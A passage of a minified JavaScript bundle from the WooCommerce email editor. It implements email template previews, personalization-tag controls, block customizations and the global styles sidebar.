je(){const{userTheme:e}=(0,c.u)(),{editorTheme:t,layout:o,deviceType:i,initialEditorSettingsStyles:d}=(0,r.useSelect)(e=>{const{getEditorSettings:t,getDeviceType:o}=e(s.store),n=t(),r=e(l.H).getInitialEditorSettings();return{editorTheme:e(l.H).getTheme(),layout:n?.__experimentalFeatures?.layout,deviceType:o(),initialEditorSettingsStyles:r?.styles}},[]),m=(0,n.useMemo)(()=>a().all([{},t||{},e||{}]),[t,e]),[u]=be(m);let p="";o&&"Mobile"!==i&&(p=`display:flow-root; width:${o?.contentSize||"660px"}; margin: 0 auto;box-sizing: border-box;max-width: 100%;`);const g=m.styles?.spacing?.padding;return g&&(p+=`padding-left:${(0,ve.DJ)(g.left)};`,p+=`padding-right:${(0,ve.DJ)(g.right)};`),[(0,n.useMemo)(()=>[...u??[],{css:`.is-root-container{ ${p} }`},...d??[]],[u,d,p])||Se]}},98290:(e,t,o)=>{o.d(t,{p:()=>m});var n=o(86087),r=o(74997),s=o(47143),i=o(52619),a=o(23886);const l=[];function c(e,t){return e.map(e=>"core/post-content"===e.name?{...e,name:"core/group",innerBlocks:t}:e.innerBlocks?.length?{...e,innerBlocks:c(e.innerBlocks,t)}:e)}const d={};function m(e="",t=!0){const{templates:o,patterns:m,emailPosts:u,hasEmailPosts:p}=(0,s.useSelect)(o=>{const n=t&&"swap"!==e?o(a.H).getSentEmailEditorPosts():void 0;return{templates:o(a.H).getEmailTemplates(),patterns:o(a.H).getBlockPatternsForEmailTemplate(),emailPosts:n,hasEmailPosts:!(!n||!n?.length)}},[e,t]),g=(0,n.useMemo)(()=>{let t=[];const n=e&&(0,r.parse)(e);if(t=n?[{blocks:n}]:m,!t||!o)return l;const s=[];return o?.filter(e=>"email-general"!==e.slug)?.forEach(e=>{t?.forEach(t=>{let o=(0,r.parse)(e.content?.raw);o=c(o,t.blocks),s.push({id:e.id,slug:e.slug,previewContentParsed:o,emailParsed:t.emailBlocks??t.blocks,template:e,category:t.categories?.[0],type:e.type,displayName:t.title?`${e.title.rendered} - ${t.title}`:e.title.rendered})})}),s},[o,m,e]),_=(0,n.useMemo)(()=>u?.map(e=>{const t=(0,i.applyFilters)("woocommerce_email_editor_preferred_template_title","",e),{postTemplateContent:o}=function(e,t=[]){const o=e.template,n={postTemplateContent:null};if(!o)return n;if(d[o])return d[o];const r=t.find(e=>e.slug===o);if(!r)return n;const s={postTemplateContent:r?.template};return d[o]=s,s}(e,g),n=(0,r.parse)(e.content?.raw);let s=n;o?.content?.raw&&(s=c((0,r.parse)(o?.content?.raw),n));const a={...e,title:{raw:e.title.raw,rendered:t||e.title.rendered}};return{id:e.id,slug:e.slug,previewContentParsed:s,emailParsed:n,category:"recent",type:e.type,displayName:a.title.rendered,template:a}}),[u,g]);return[g||l,_||l,p]}},66149:(e,t,o)=>{o.d(t,{u:()=>a});var n=o(86087),r=o(47143),s=o(3582),i=o(23886);function a(){const{globalStylePost:e}=(0,r.useSelect)(e=>({globalStylePost:e(i.H).getGlobalEmailStylesPost()||null}),[]),t=(0,n.useCallback)(t=>{e&&(0,r.dispatch)(s.store).editEntityRecord("root","globalStyles",e.id,{styles:t.styles,settings:t.settings})},[e]);return{userTheme:{settings:e?.settings,styles:e?.styles},updateUserTheme:t}}},38663:(e,t,o)=>{o.d(t,{initializeEditor:()=>oo});var n=o(39793),r=o(47143),s=o(86087),i=o(52619),a=o(43656);const l=window.wp.compose;window.wp.formatLibrary;var c=o(74997);function d(){try{return(0,c.getBlockTypes)().filter(e=>!0===e.supports?.email).map(e=>e.name)}catch(e){return console.error("Failed to get allowed block names:",e),[]}}const m=window.wp.blockLibrary;var u=o(94715),p=o(482),g=o(29477);const _=(0,l.createHigherOrderComponent)(e=>function(t){return"core/columns"!==t.name?(0,n.jsx)(e,{...t}):(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(e,{...t}),(0,n.jsx)(u.InspectorControls,{children:(0,n.jsx)("style",{children:"\n .components-panel__body .components-toggle-control .components-form-toggle { opacity: 0.3; }\n .components-panel__body .components-toggle-control .components-form-toggle__input { pointer-events: none; }\n .components-panel__body .components-toggle-control label { pointer-events: none; }\n "})})]})},"columnsEditCallback"),h=["core/column","core/columns"];var y=o(27723);function f({layoutClassNames:e}){const t=(0,u.useBlockProps)({className:e});return(0,n.jsxs)("div",{...t,children:[(0,n.jsx)("p",{children:(0,y.__)("This is the Content block.","woocommerce")}),(0,n.jsx)("p",{children:(0,y.__)("It will display all the blocks in the email content, which might be only simple text paragraphs. You can enrich your message with images, incorporate data through tables, explore different layout designs with columns, or use any other block type.","woocommerce")})]})}const w=(0,l.createHigherOrderComponent)(e=>function(t){return"core/image"!==t.name?(0,n.jsx)(e,{...t}):(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(e,{...t}),(0,n.jsx)(u.InspectorControls,{children:(0,n.jsx)("style",{children:"\n .components-tools-panel .components-toggle-control { display: none; }\n "})})]})},"imageEditCallback");var x=o(50876),b=o(56427),v=o(26479),S=o(25298),j=o(23886),k=o(33303);const E=({contentRef:e,onUpdate:t})=>{const[o,i]=(0,s.useState)(!1),[a,l]=(0,s.useState)(null),[c,d]=(0,s.useState)(""),[m,u]=(0,s.useState)(""),p=(0,r.useSelect)(e=>e(j.H).getPersonalizationTagsList(),[]);return(0,s.useEffect)(()=>{if(!e||!e.current)return;const t=e.current,o=e=>{const t=e.target.closest("a[data-link-href]");t&&(l(t),u(t.getAttribute("data-link-href")||""),d(t.textContent||""),i(!0))};return t.addEventListener("click",o),()=>{t.removeEventListener("click",o)}},[e]),(0,n.jsx)(n.Fragment,{children:o&&a&&(0,n.jsx)(b.Popover,{position:"bottom left",onClose:()=>i(!1),anchor:a,className:"woocommerce-personalization-tag-popover",children:(0,n.jsxs)("div",{className:"woocommerce-personalization-tag-popover-content",children:[(0,n.jsx)(b.TextControl,{label:(0,y.__)("Link Text","woocommerce"),value:c,onChange:e=>d(e),__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,autoComplete:"off"}),(0,n.jsx)(b.SelectControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,y.__)("Link tag","woocommerce"),value:m,onChange:e=>{u(e)},options:p.filter(e=>e.category===(0,y.__)("Link","woocommerce")).map(e=>({label:e.name,value:e.token}))}),(0,n.jsxs)("div",{className:"woocommerce-personalization-tag-popover-content-buttons",children:[(0,n.jsx)(b.Button,{isTertiary:!0,onClick:()=>{i(!1)},children:(0,y.__)("Cancel","woocommerce")}),(0,n.jsx)(b.Button,{isPrimary:!0,onClick:()=>{i(!1),t(a,m,c)},children:(0,y.__)("Update link","woocommerce")})]})]})})})};var C=o(98038),T=o(3638);function M({contentRef:e}){const[t,o]=(0,s.useState)(!1),i=(0,r.useSelect)(e=>e("core/block-editor").getSelectedBlockClientId()),{updateBlockAttributes:a}=(0,r.useDispatch)("core/block-editor"),l=(0,r.useSelect)(e=>e("core/block-editor").getBlockAttributes(i)),c="text"in l?"text":"content",d=l?.[c]?.originalHTML||l?.[c]||"",m=(0,s.useCallback)((t,o)=>{let{start:n,end:r}=(0,v.E)(e,d),s="";if(o){let e=(0,x.create)({html:d});e=(0,x.insert)(e,o,n,r),r=n+o.length,e=(0,x.applyFormat)(e,{type:"woocommerce-email-editor/link-shortcode",attributes:{"data-link-href":t,contenteditable:"false",style:"text-decoration: underline;"}},n,r),s=(0,x.toHTMLString)({value:e})}else{let e=(0,x.create)({html:d});e=(0,x.insert)(e,(0,x.create)({html:`\x3c!--${t}--\x3e `}),n,r),s=(0,x.toHTMLString)({value:e})}a(i,{[c]:s})},[d,c,e,i,a]);return(0,n.jsx)(u.BlockControls,{children:(0,n.jsxs)(b.ToolbarGroup,{children:[(0,n.jsx)(b.ToolbarButton,{icon:"shortcode",title:(0,y.__)("Personalization Tags","woocommerce"),onClick:()=>{o(!0),(0,C.yM)("block_controls_personalization_tags_button_clicked")}}),(0,n.jsx)(k.t,{contentRef:e,onUpdate:(e,t)=>{const o=d.replace(`\x3c!--[${e}]--\x3e`,`\x3c!--[${t}]--\x3e`);a(i,{[c]:o})}}),(0,n.jsx)(E,{contentRef:e,onUpdate:(e,t,o)=>{const n=e.getAttribute("data-link-href").replace(/[.*+?^${}()|[\]\\]/g,"\\$&"),r=new RegExp(`<a([^>]*?)data-link-href="${n}"([^>]*?)>${e.textContent}</a>`,"gi"),s=d.replace(r,(e,n,r)=>`<a${n}data-link-href="${t}"${r}>${o}</a>`);a(i,{content:s})}}),(0,n.jsx)(S.x,{isOpened:t,onInsert:(e,t)=>{m(e,t),o(!1)},closeCallback:()=>o(!1),canInsertLink:!0,openedBy:"block-controls"})]})})}const P=(0,l.createHigherOrderComponent)(e=>t=>{const{attributes:o,setAttributes:i,name:a}=t,{content:l}=o,c=(0,r.useSelect)(e=>e(j.H).getPersonalizationTagsList(),[]),d=(0,s.useCallback)(()=>l?(0,v.D)(l,c):"",[l,c]),m=(0,s.useCallback)(e=>{if(void 0!==e.content){const t=(0,v.D)(e.content,c);i({...e,content:t})}else i(e)},[c,i]);return"core/paragraph"===a||"core/heading"===a||"core/list-item"===a?(0,n.jsx)(e,{...t,attributes:{...o,content:d()},setAttributes:m}):(0,n.jsx)(e,{...t})},"personalizationTagsLiveContentUpdate"),N=window.wp.domReady;var B=o.n(N),R=o(88323);const z=["core/social-links"];function I(){(0,c.getBlockTypes)().forEach(e=>{const t=e.name;if(z.includes(t))return;const o=(0,r.select)("core/blocks").getBlockStyles(t);Array.isArray(o)&&0!==o?.length&&o.forEach(e=>{(0,R.oj)(t,e.name)})})}const $=e=>t=>{const{setAttributes:o}=t,r=(0,s.useCallback)(e=>{e?.url&&e.url?.startsWith("http://[")&&(e.url=e.url.replace("http://[","[")),o(e)},[o]);return(0,n.jsx)(e,{...t,setAttributes:r})};var H=o(26146);const F=["behance","bluesky","chain","discord","facebook","feed","github","gravatar","instagram","linkedin","mail","mastodon","medium","patreon","pinterest","reddit","spotify","telegram","threads","tiktok","tumblr","twitch","twitter","vimeo","wordpress","whatsapp","x","youtube"],L=e=>t=>{if("core/social-links"!==t.name)return(0,n.jsx)(e,{...t});const o=`\n\t\t.block-editor-tools-panel-color-gradient-settings__item:has([title="${(0,y.__)("Icon color")}"]) {\n\t\t\tdisplay: none !important;\n\t\t}\n\t\t.block-editor-tools-panel-color-gradient-settings__item:nth-child(2 of .block-editor-tools-panel-color-gradient-settings__item){\n\t\t\tborder-top:1px solid #ddd;\n\t\t\tborder-top-left-radius:2px;\n\t\t\tborder-top-right-radius:2px;\n\t\t}\n\t\t`;return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(e,{...t}),(0,n.jsx)(u.InspectorControls,{group:"color",children:(0,n.jsx)("style",{children:o})})]})};function A(){(0,c.getBlockType)("core/paragraph")||(0,m.registerCoreBlocks)(),(0,g.HY)("editor.BlockEdit","woocommerce-email-editor/filter-set-url-attribute",$),(0,g.HY)("editor.BlockEdit","woocommerce-email-editor/deactivate-stack-on-mobile",_),(0,g.HY)("editor.BlockEdit","woocommerce-email-editor/hide-expand-on-click",w),(0,p.G)("core/image",e=>({...e,supports:{...e.supports||{},filter:{...e.supports?.filter||{},duetone:!1}}})),["core/image","core/code","core/language"].forEach(e=>{(0,T.le)(e)}),h.forEach(e=>{(0,p.G)(e,e=>({...e,supports:{...e.supports||{},layout:!1,background:{...e.support?.background||{},backgroundImage:!0}}}))}),(0,p.G)("core/group",e=>{const t=e.variations??[];return{...e,variations:t.filter(e=>"group"===e.name),supports:{...e.supports||{},layout:!1}}}),(0,p.G)("core/buttons",e=>({...e,supports:{...e.supports??{},layout:!1,__experimentalEmailFlexLayout:!0}})),(0,p.G)("core/post-content",e=>{return{...e,edit:(t=e.edit,function(e){const{postId:o,postType:r}=e.context,{__unstableLayoutClassNames:s}=e;return o&&r?(0,n.jsx)(t,{...e}):(0,n.jsx)(f,{layoutClassNames:s})})};var t}),(0,p.G)("core/quote",e=>({...e,styles:[],supports:{...e.supports,align:[]}})),(0,T.gG)("woocommerce-email-editor/shortcode",{name:"woocommerce-email-editor/shortcode",title:(0,y.__)("Personalization Tags","woocommerce"),className:"woocommerce-email-editor-personalization-tags",tagName:"span",attributes:{},interactive:!0,edit:M}),(0,T.gG)("woocommerce-email-editor/link-shortcode",{name:"woocommerce-email-editor/link-shortcode",title:(0,y.__)("Personalization Tags Link","woocommerce"),className:"woocommerce-email-editor-personalization-tags-link",tagName:"a",attributes:{"data-link-href":"data-link-href",contenteditable:"contenteditable",style:"style"},interactive:!0,edit:null}),(0,g.HY)("editor.BlockEdit","woocommerce-email-editor/with-live-content-update",P),(0,c.getBlockTypes)().forEach(e=>{e.supports?.shadow&&(0,p.G)(e.name,e=>({...e,supports:{...e.supports,shadow:!1}}))}),(0,p.G)("core/social-link",e=>({...e,variations:(e.variations||[]).filter(e=>F.includes(e.name)),supports:{...e.supports,layout:!1}})),(0,H.z)("core/social-links",{name:"social-links-default",title:"Social Icons",attributes:{openInNewTab:!0,showLabels:!1,align:"center",className:"is-style-logos-only"},isDefault:!0,innerBlocks:[{name:"core/social-link",attributes:{service:"wordpress",url:"https://wordpress.org"}},{name:"core/social-link",attributes:{service:"facebook",url:"https://www.facebook.com/WordPress/"}},{name:"core/social-link",attributes:{service:"x",url:"https://x.com/WordPress"}}]}),(0,g.HY)("editor.BlockEdit","woocommerce-email-editor/disable-social-links-icon-color",L),(0,H.z)("core/site-logo",{name:"site-logo-default",title:"Site Logo",attributes:{align:"center",width:120},isDefault:!0}),(0,p.G)("woocommerce/product-image",e=>({...e,supports:{...e.supports||{},align:["full"]}})),B()(I)}var V=o(4921),O=o(5573);const D=(0,n.jsx)(O.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,n.jsx)(O.Path,{d:"M9 9v6h11V9H9zM4 20h1.5V4H4v16z"})}),G=(0,n.jsx)(O.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,n.jsx)(O.Path,{d:"M12.5 15v5H11v-5H4V9h7V4h1.5v5h7v6h-7Z"})}),W=(0,n.jsx)(O.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,n.jsx)(O.Path,{d:"M4 15h11V9H4v6zM18.5 4v16H20V4h-1.5z"})}),U="__experimentalEmailFlexLayout";function q(e){return(0,c.hasBlockSupport)(e,U)}function Z({justificationValue:e,onChange:t,isToolbar:o=!1}){const r=[{value:"left",icon:D,label:(0,y.__)("Justify items left","woocommerce")},{value:"center",icon:G,label:(0,y.__)("Justify items center","woocommerce")},{value:"right",icon:W,label:(0,y.__)("Justify items right","woocommerce")}];if(o){const o=r.map(e=>e.value);return(0,n.jsx)(u.JustifyContentControl,{value:e,onChange:t,allowedControls:o,popoverProps:{placement:"bottom-start"}})}return(0,n.jsx)(b.__experimentalToggleGroupControl,{__nextHasNoMarginBottom:!0,label:(0,y.__)("Justification","woocommerce"),value:e,onChange:t,className:"block-editor-hooks__flex-layout-justification-controls",children:r.map(({value:e,icon:t,label:o})=>(0,n.jsx)(b.__experimentalToggleGroupControlOptionIcon,{value:e,icon:t,label:o},e))})}function Y({setAttributes:e,attributes:t,name:o}){if(!(0,c.getBlockSupport)(o,U,{}))return null;const{justifyContent:r="left"}=t.layout||{},s=o=>{e({layout:{...t.layout,justifyContent:o}})},i=()=>{const{justifyContent:o,...n}=t.layout||{};e({layout:n})};return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(u.InspectorControls,{children:(0,n.jsx)(b.__experimentalToolsPanel,{label:(0,y.__)("Layout","woocommerce"),resetAll:i,children:(0,n.jsx)(b.__experimentalToolsPanelItem,{isShownByDefault:!0,onDeselect:i,hasValue:()=>t.layout?.justifyContent||!1,label:(0,y.__)("Justification","woocommerce"),children:(0,n.jsx)(b.Flex,{children:(0,n.jsx)(b.FlexItem,{children:(0,n.jsx)(Z,{justificationValue:r,onChange:s})})})})})}),(0,n.jsx)(u.BlockControls,{group:"block",__experimentalShareWithChildBlocks:!0,children:(0,n.jsx)(Z,{justificationValue:r,onChange:s,isToolbar:!0})})]})}const K=(0,l.createHigherOrderComponent)(e=>t=>[q(t.name)&&(0,n.jsx)(Y,{...t},"layout"),(0,n.jsx)(e,{...t},"edit")],"withLayoutControls");function J({block:e,props:t}){const{attributes:o}=t,{layout:r}=o,s=`is-content-justification-${r?.justifyContent||"left"}`,i=(0,V.A)(s,"is-layout-email-flex is-layout-flex");return(0,n.jsx)(e,{...t,className:i})}const X=(0,l.createHigherOrderComponent)(e=>function(t){return q(t.name)?(0,n.jsx)(J,{block:e,props:t}):(0,n.jsx)(e,{...t})},"withLayoutStyles");var Q=o(3582);const ee=window.wp.commands;var te=o(92279),oe=o(77046),ne=o(18056),re=o(692);const se=()=>{const e=".editor-preview-dropdown__button-external",t=async t=>{const o=t.target,n=o?.closest(e);if(!n)return;const s=(0,r.select)(a.store),i=s?.isEditedPostDirty();i&&(t.preventDefault(),t.stopPropagation(),t.stopImmediatePropagation(),(0,r.dispatch)(re.store).createNotice("warning",(0,y.__)("You have unsaved changes. Please save the post before previewing.","woocommerce"),{context:"email-editor",isDismissible:!0}))},o=(0,s.useCallback)(o=>{try{const n=o.target;"Enter"!==o.key&&" "!==o.key||!n?.closest(e)||t(o)}catch(e){console.warn("Preview save message guard error:",e)}},[e]);return(0,s.useEffect)(()=>(document.addEventListener("click",t,!0),document.addEventListener("auxclick",t,!0),document.addEventListener("keydown",o,!0),()=>{document.removeEventListener("click",t,!0),document.removeEventListener("auxclick",t,!0),document.removeEventListener("keydown",o,!0)}),[o]),null};var ie=o(51942);function ae(){const{emailContentIsEmpty:e,templateSelected:t,postType:o}=(0,r.useSelect)(e=>({emailContentIsEmpty:e(j.H).hasEmptyContent(),templateSelected:e(j.H).isTemplateSelected(),postType:e(j.H).getEmailPostType()}),[]),{setTemplateSelected:s}=(0,r.useDispatch)(j.H);return!e||t?null:(0,n.jsx)(ie.i,{onSelectCallback:()=>{s()},postType:o})}const le=(0,n.jsx)(O.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,n.jsx)(O.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M20 12a8 8 0 1 1-16 0 8 8 0 0 1 16 0Zm-1.5 0a6.5 6.5 0 0 1-6.5 6.5v-13a6.5 6.5 0 0 1 6.5 6.5Z"})}),ce=(0,n.jsx)(O.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,n.jsx)(O.Path,{d:"M6.9 7L3 17.8h1.7l1-2.8h4.1l1 2.8h1.7L8.6 7H6.9zm-.7 6.6l1.5-4.3 1.5 4.3h-3zM21.6 17c-.1.1-.2.2-.3.2-.1.1-.2.1-.4.1s-.3-.1-.4-.2c-.1-.1-.1-.3-.1-.6V12c0-.5 0-1-.1-1.4-.1-.4-.3-.7-.5-1-.2-.2-.5-.4-.9-.5-.4 0-.8-.1-1.3-.1s-1 .1-1.4.2c-.4.1-.7.3-1 .4-.2.2-.4.3-.6.5-.1.2-.2.4-.2.7 0 .3.1.5.2.8.2.2.4.3.8.3.3 0 .6-.1.8-.3.2-.2.3-.4.3-.7 0-.3-.1-.5-.2-.7-.2-.2-.4-.3-.6-.4.2-.2.4-.3.7-.4.3-.1.6-.1.8-.1.3 0 .6 0 .8.1.2.1.4.3.5.5.1.2.2.5.2.9v1.1c0 .3-.1.5-.3.6-.2.2-.5.3-.9.4-.3.1-.7.3-1.1.4-.4.1-.8.3-1.1.5-.3.2-.6.4-.8.7-.2.3-.3.7-.3 1.2 0 .6.2 1.1.5 1.4.3.4.9.5 1.6.5.5 0 1-.1 1.4-.3.4-.2.8-.6 1.1-1.1 0 .4.1.7.3 1 .2.3.6.4 1.2.4.4 0 .7-.1.9-.2.2-.1.5-.3.7-.4h-.3zm-3-.9c-.2.4-.5.7-.8.8-.3.2-.6.2-.8.2-.4 0-.6-.1-.9-.3-.2-.2-.3-.6-.3-1.1 0-.5.1-.9.3-1.2s.5-.5.8-.7c.3-.2.7-.3 1-.5.3-.1.6-.3.7-.6v3.4z"})}),de=(0,n.jsx)(O.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,n.jsx)(O.Path,{d:"M17.2 10.9c-.5-1-1.2-2.1-2.1-3.2-.6-.9-1.3-1.7-2.1-2.6L12 4l-1 1.1c-.6.9-1.3 1.7-2 2.6-.8 1.2-1.5 2.3-2 3.2-.6 1.2-1 2.2-1 3 0 3.4 2.7 6.1 6.1 6.1s6.1-2.7 6.1-6.1c0-.8-.3-1.8-1-3zm-5.1 7.6c-2.5 0-4.6-2.1-4.6-4.6 0-.3.1-1 .8-2.3.5-.9 1.1-1.9 2-3.1.7-.9 1.3-1.7 1.8-2.3.7.8 1.3 1.6 1.8 2.3.8 1.1 1.5 2.2 2 3.1.7 1.3.8 2 .8 2.3 0 2.5-2.1 4.6-4.6 4.6z"})}),me=(0,n.jsx)(O.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,n.jsx)(O.Path,{d:"M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"})});var ue=o(76597),pe=o.n(ue),ge=o(66149);const _e={};function he(e){return!Object.keys(e).some(t=>Object.keys(e[t]).length>0)}function ye(e){const t=e=>{if("object"==typeof e&&null!==e||void 0===e){if(Array.isArray(e)&&0===e.length)return;for(const o in e)if(Object.prototype.hasOwnProperty.call(e,o)){const n=t(e[o]);void 0===n||he(n)?delete e[o]:e[o]=n}}return e};return t(e)}const fe=()=>{const{userTheme:e,updateUserTheme:t}=(0,ge.u)(),o=(0,s.useMemo)(()=>e?ye(function(e){const t=e=>{if("object"==typeof e&&null!==e)for(const o in e)e.hasOwnProperty(o)&&(e[o]=t(e[o]));else if("string"==typeof e)return e.replace(/var\(--([a-z]+)--([a-z]+(?:--[a-z0-9]+(?:-[a-z0-9]+)*)*)--([a-z0-9-]+)\)/g,(e,t,o,n)=>`var:${o.split("--").concat(n).join("|")}`);return e};return t(e)}(e?.styles)):_e,[e]),{styles:n}=(0,r.useSelect)(e=>({styles:e(j.H).getStyles()})),i=(0,s.useCallback)(o=>{const n={...e,styles:ye(o)};t(n)},[t,e]),a=(0,s.useCallback)((o,n)=>{const r=function(e,t,o){const n=Array.isArray(t)?[...t]:[t],r=Array.isArray(e)?[...e]:{...e},s=n.pop();let i=r;return n.forEach(e=>{const t=i[e];i[e]=Array.isArray(t)?[...t]:{...t},i=i[e]}),i[s]=o,r}(e,["styles",...o],n);t(r)},[t,e]);return{styles:(0,s.useMemo)(()=>n?o?pe().all([n,o]):n:_e,[n,o]),userStyles:e?.styles,defaultStyles:n,updateStyleProp:a,updateStyles:i}};var we=o(14348);const xe=[],be={start:{scale:1,opacity:1},hover:{scale:0,opacity:0}},ve={hover:{opacity:1},start:{opacity:.5}},Se={hover:{scale:1,opacity:1},start:{scale:0,opacity:0}};function je({label:e,isFocused:t,withHoverView:o}){const{colors:i}=(0,r.useSelect)(e=>({colors:e(j.H).getPaletteColors()}),[]),a=(0,s.useMemo)(()=>(i?.theme||xe).concat(i?.default||xe),[i]),{styles:l}=fe(),{backgroundColor:c,headingColor:d,highlightedColors:m}=(0,s.useMemo)(()=>{const e=(0,we.pr)(l?.color?.background)||"white",t=(0,we.pr)(l?.color?.text)||"black",o=(0,we.pr)(l?.elements?.h1?.color?.text)||t,n=(0,we.pr)(l?.elements?.link?.color?.text)||o,r=(0,we.pr)(l?.elements?.button?.color?.background)||n,s=a.find(({color:e})=>e.toLowerCase()===t.toLowerCase()),i=a.find(({color:e})=>e.toLowerCase()===r.toLowerCase()),c=[...s?[s]:xe,...i?[i]:xe,...a].filter(({color:t},o,n)=>t.toLowerCase()!==e.toLowerCase()&&o===n.findIndex(e=>e.color.toLowerCase()===t.toLowerCase())).slice(0,2);return{backgroundColor:e,headingColor:o,highlightedColors:c}},[l,a]),u=l?.elements?.heading?.typography?.fontWeight||"inherit",p=l?.elements?.heading?.typography?.fontFamily||"inherit",[g,_]=(0,s.useState)(!1);return(0,n.jsx)("div",{onMouseEnter:()=>_(!0),onMouseLeave:()=>_(!1),children:(0,n.jsxs)(b.__unstableMotion.div,{style:{height:152,width:"100%",background:c,cursor:o?"pointer":void 0},initial:"start",animate:(g||t)&&e?"hover":"start",children:[(0,n.jsx)(b.__unstableMotion.div,{variants:be,style:{height:"100%",overflow:"hidden"},children:(0,n.jsxs)(b.__experimentalHStack,{spacing:10,justify:"center",style:{height:"100%",overflow:"hidden"},children:[(0,n.jsx)(b.__unstableMotion.div,{style:{fontFamily:p,fontSize:65,color:d,fontWeight:u},animate:{scale:1,opacity:1},initial:{scale:.1,opacity:0},transition:{delay:.3,type:"tween"},children:"Aa"}),(0,n.jsx)(b.__experimentalVStack,{spacing:4,children:m.map(({slug:e,color:t},o)=>(0,n.jsx)(b.__unstableMotion.div,{style:{height:32,width:32,background:t,borderRadius:16},animate:{scale:1,opacity:1},initial:{scale:.1,opacity:0},transition:{delay:1===o?.2:.1}},e))})]})}),(0,n.jsx)(b.__unstableMotion.div,{variants:o&&ve,style:{height:"100%",width:"100%",position:"absolute",top:0,overflow:"hidden",filter:"blur(60px)",opacity:.1},children:(0,n.jsx)(b.__experimentalHStack,{spacing:0,justify:"flex-start",style:{height:"100%",overflow:"hidden"},children:a.slice(0,4).map(({color:e})=>(0,n.jsx)("div",{style:{height:"100%",background:e,flexGrow:1}},e))})}),(0,n.jsx)(b.__unstableMotion.div,{variants:Se,style:{height:"100%",width:"100%",overflow:"hidden",position:"absolute",top:0},children:(0,n.jsx)(b.__experimentalVStack,{spacing:3,justify:"center",style:{height:"100%",overflow:"hidden",padding:10,boxSizing:"border-box"},children:e&&(0,n.jsx)("div",{style:{fontSize:40,fontFamily:p,color:d,fontWeight:u,lineHeight:"1em",textAlign:"center"},children:e})})})]})})}function ke(){return(0,n.jsx)(b.Card,{size:"small",className:"edit-site-global-styles-screen-root",variant:"primary",children:(0,n.jsx)(b.CardBody,{children:(0,n.jsxs)(b.__experimentalVStack,{spacing:4,children:[(0,n.jsx)(b.Card,{children:(0,n.jsx)(b.CardMedia,{children:(0,n.jsx)(je,{})})}),(0,n.jsxs)(b.__experimentalItemGroup,{children:[(0,n.jsx)(b.__experimentalNavigatorButton,{path:"/typography",onClick:()=>(0,C.yM)("styles_sidebar_navigation_click",{path:"typography"}),children:(0,n.jsx)(b.__experimentalItem,{children:(0,n.jsxs)(b.__experimentalHStack,{justify:"flex-start",children:[(0,n.jsx)(b.Icon,{icon:ce,size:24}),(0,n.jsx)(b.FlexItem,{children:(0,y.__)("Typography","woocommerce")})]})})}),(0,n.jsx)(b.__experimentalNavigatorButton,{path:"/colors",onClick:()=>(0,C.yM)("styles_sidebar_navigation_click",{path:"colors"}),children:(0,n.jsx)(b.__experimentalItem,{children:(0,n.jsxs)(b.__experimentalHStack,{justify:"flex-start",children:[(0,n.jsx)(b.Icon,{icon:de,size:24}),(0,n.jsx)(b.FlexItem,{children:(0,y.__)("Colors","woocommerce")})]})})}),(0,n.jsx)(b.__experimentalNavigatorButton,{path:"/layout",onClick:()=>(0,C.yM)("styles_sidebar_navigation_click",{path:"layout"}),children:(0,n.jsx)(b.__experimentalItem,{children:(0,n.jsxs)(b.__experimentalHStack,{justify:"flex-start",children:[(0,n.jsx)(b.Icon,{icon:me,size:24}),(0,n.jsx)(b.FlexItem,{children:(0,y.__)("Layout","woocommerce")})]})})})]})]})})})}const Ee={typography:{},color:{}},Ce=(e,t,o="heading",n=!1)=>{switch(t){case"text":return{typography:e.typography,color:e.color};case"heading":return((e,t="heading",o=!1)=>o?pe().all([Ee,e.elements.heading||{},e.elements[t]||{}]):{...Ee,...e.elements.heading||{},...e.elements[t]||{}})(e,o??"heading",n);default:return e.elements[t]||Ee}};function Te({element:e,label:t}){const{styles:o}=fe(),r=Ce(o,e,null,!0),{fontFamily:s,fontStyle:i,fontWeight:a,letterSpacing:l,textDecoration:c,textTransform:d}=r.typography,m=r.color?.text||"inherit",u=r.color?.background||"#f0f0f0",p=(0,y.sprintf)((0,y.__)("Typography %s styles","woocommerce"),t);return(0,n.jsx)(b.__experimentalItem,{children:(0,n.jsx)(b.__experimentalNavigatorButton,{path:`/typography/${e}`,"aria-label":p,onClick:()=>(0,C.yM)("styles_sidebar_screen_typography_button_click",{element:e,label:t,path:`typography/${e}`}),children:(0,n.jsxs)(b.__experimentalHStack,{justify:"flex-start",children:[(0,n.jsx)(b.FlexItem,{className:"edit-site-global-styles-screen-typography__indicator",style:{fontFamily:s??"serif",background:u,color:m,fontStyle:i??"normal",fontWeight:a??"normal",letterSpacing:l??"normal",textDecoration:c??("link"===e?"underline":"none"),textTransform:d??"none"},children:"Aa"}),(0,n.jsx)(b.FlexItem,{children:t})]})})})}const 